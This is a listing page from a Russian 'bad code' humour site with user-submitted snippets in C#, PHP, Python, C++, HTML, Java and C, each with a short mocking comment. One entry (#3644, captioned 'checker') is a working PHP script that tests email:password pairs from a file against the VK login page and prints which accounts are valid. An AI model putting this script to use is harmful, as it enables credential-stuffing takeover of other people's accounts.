1. Лучший говнокод

    В номинации:
    За время:
  2. C# / Говнокод #3687

    +105

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    using System;
    using System.IO;
    using System.Net;
    using System.Net.Sockets;
    
    
    namespace GisClient
    {
        class EntryPoint
        {
            static void Main()
            {
                TcpClient TcpCli = new TcpClient("127.0.0.1", 15800);
                NetworkStream ns = TcpCli.GetStream();
                
                PacketStructure obj = new PacketStructure();
                obj.CommandOptions = 0x80; //What's this shit??? 0x80 , what's Encoding??? What 0x80 equals to?
    
                obj.Write2Net(ns);
                obj.ReadFromNet(ns);
            }
        }
    
        class PacketStructure
        {
            UInt32 PacketId = 0x35534947;
            Guid UserId = new Guid();
            
            public byte CommandOptions = 0;
            UInt32 CommandSize = 0;
    
            byte[] Reserved = new byte[3];
    
    
            public void Write2BufferStream(MemoryStream ms)
            {
                //PacketId || Length - 4 || Type - UInt32
                ms.Write(BitConverter.GetBytes(PacketId), 0, 4);
                //UserId || Length - 16 || Type - byte[16]
                ms.Write(UserId.ToByteArray(), 0, 16);
                //Command Options || Length - 1 || byte
                ms.Write(BitConverter.GetBytes(CommandOptions), 0, 1);
                //Command Size || Length - 4 || Int32
                ms.Write(BitConverter.GetBytes(CommandSize), 0, 4);
                //Reserved space || Length - 3 || byte[3]
                ms.Write(Reserved, 0, 3);
                //CRC32 - control summary
                ms.Write(BitConverter.GetBytes(CRC32.BytesCrc(ms.ToArray())), 0, 4);
            }
    
            public void Write2Net(NetworkStream ns)
            {
                MemoryStream ms = new MemoryStream();
    
                Write2BufferStream(ms);
    
                byte[] A = ms.ToArray();
                ns.Write(A, 0, (int)ns.Length);
            }
    
            public void ReadFromNet(NetworkStream ns)
            {
                byte[] B = new byte[32];
    
                ns.Read(B, 0, (int)ns.Length);
    
                PacketId = BitConverter.ToUInt32(B, 0); //??????? lolwhat?????!!!!!111
    
                byte[] C = new byte[16];
    
                for (int i = 0; i < 16; i++)
                {
                    C[i] = C[i + 4];
                }
    
                foreach (int i in C)
                {
                    Console.WriteLine(i);
                    Console.ReadLine();
                }
    
                UserId = new Guid(C);
    
                CommandOptions = B[20]; // Why no BitConverter?????!!!!!
    
                CommandSize = BitConverter.ToUInt32(B, 21); // The end of CommandSize IS NOT SET!!!!1111
    
                for (int i = 0; i < 3; i++) Reserved[i] = B[i + 25]; // A[0] = Packet[0 + 25] IF i = 0 THEN i++
    
                Console.ReadLine();
            }
    
        }
    }

    Код с работы, вот так вот мы отслыаем и принимаем пакеты по TCP.
    Комменатрии особенно доставляют удовольствие :)

    sergylens, 12 Июля 2010

    Комментарии (1)
  3. Куча / Говнокод #3686

    +144

    1. 1
    $a = true || false;

    ^)

    ycuk, 12 Июля 2010

    Комментарии (1)
  4. Python / Говнокод #3661

    −146

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    for section in config.sections():
        GROUP_PREFIX = 'group '
        if not section.startswith(GROUP_PREFIX):
            continue
        group = section[len(GROUP_PREFIX):]
        if group in seen:
            continue

    из проекта gitosis

    lig, 07 Июля 2010

    Комментарии (1)
  5. PHP / Говнокод #3644

    +149

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <?
    $txt_file=("logins.txt");
    preg_match( "/value='(.*)'/", file_get_contents("http://login.vk.com/?act=login&[email protected]&pass=asdasd&expire=&vk="), $null );
    foreach(file($txt_file) as $account)
    { 
    $data=explode(':',$account);
    $qwe = file_get_contents('http://login.vk.com/?act=login&email='.urlencode($data[0]).'&pass='.urlencode($data[1]).'&expire=&vk=');
    if($qwe == $null){
           print "".$data[0].":".$data[1]." not valid</br>";
    }else{ 
           print "".$data[0].":".$data[1]." are valid</br>"; 
      } 
      } 
    ?>

    checker

    r00t, 05 Июля 2010

    Комментарии (1)
  6. C++ / Говнокод #3550

    +167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #define ItemType char
    #define SecondItemType unsigned
    class Doubler
    {
    	ItemType _i1_;
    	SecondItemType _i2_;
    	//...
    	//Дальше идёт много функций класса, использующие ItemType и SecondItemType.
    	//...
    };

    Говногость, 23 Июня 2010

    Комментарии (1)
  7. Куча / Говнокод #3434

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    <!DOCTYPE html>
    <html>
    <head>
    <style>
    	*{ margin: 0; padding: 0; }
    	html,body{
    		height: 300px;
    		width: 100%;
    		border: 1px solid #C0C0C0;
    	}
    </style>
    </head>
    <body>
    <table height=100%>
    	<tr>
    		<td><div style="border: 1px solid green;">fasdfadsf<br />fasdfadsf<br />fasdfadsf<br />fasdfadsf<br /></div></td>
    	</tr>
    	<tr height=100%>
    		<td height=100%><div style="height:100%; border: 1px solid red;">fadsfadsfasd</div></td>
    	</tr>
    </table>
    <!--
    <div style="height: 100%; border: 1px solid blue; ">
    	<div style="border: 1px solid green;">fasdfadsf<br />fasdfadsf<br />fasdfadsf<br />fasdfadsf<br /></div>
    	<div style="height:100%; border: 1px solid red;">fadsfadsfasd</div>
    </div>
    -->
    </body>
    </html>

    в IE выходит за границы которые заданны в body.

    g0xff, 10 Июня 2010

    Комментарии (1)
  8. C++ / Говнокод #3415

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    for (int i = 0; i < m_pTableWidget->rowCount(); i++) {
            m_pFilterList->addFilter(m_pTableWidget->item(i, 0)->text(), 
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 1)))->currentText(),
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->itemData((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentIndex()).toString(),
                                     m_pTableWidget->item(i, 3)->text(),
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 4)))->itemData((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 4)))->currentIndex()).toString(),
                                     ((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("конца") ? "'%" : (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("любой") ? "'%" : "'"),
                                     ((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("начала") ? "%'" : (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("любой") ? "'%" : "'")
                                     );
        }

    Вот так вот брутально выглядит код "в одну строчку"

    JC_NVKZ, 08 Июня 2010

    Комментарии (1)
  9. Java / Говнокод #3391

    +73

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    private static final double[][][] charsets = {{
      {1, 2, 3, 4},
     // 30 lines of a 3-dimentional array (4x9x3) declaration skipped
    }}
    
    // Later on
    double dx = charsets[order[n[0]][i - 1]][n[i]][j];

    Ну что тут еще скажешь... Legacy code forever!

    Koshiku, 03 Июня 2010

    Комментарии (1)
  10. Java / Говнокод #3277

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    private static NavigableSet<Integer> availableVlans = populate( );
    
    private static NavigableSet<Integer> populate( ) {
      NavigableSet<Integer> list = new ConcurrentSkipListSet<Integer>( );
      for ( int i = 1; i < 4095; i++ )
        list.add( i );
      return list;
    }
    
    public static void trim( int min, int max ) {
      NavigableSet<Integer> newVlanList = Sets.newTreeSet( );
    
      for ( int i = min; i < max; i++ )
        newVlanList.add( i );
      newVlanList.removeAll( availableVlans );
      availableVlans.removeAll( availableVlans.headSet( min ) );
      availableVlans.removeAll( availableVlans.tailSet( max ) );
      for ( int i = min; i < max; i++ ) {
        if ( !newVlanList.contains( i ) ) {
          availableVlans.add( i );
        }
      }
    }

    Очередной кусок калифорнийского кода.

    raorn, 20 Мая 2010

    Комментарии (1)
  11. Си / Говнокод #3258

    +105

    1. 1
    int ccInstance_to_ncInstance(ccInstance *dst, ncInstance *src);

    raorn, 18 Мая 2010

    Комментарии (1)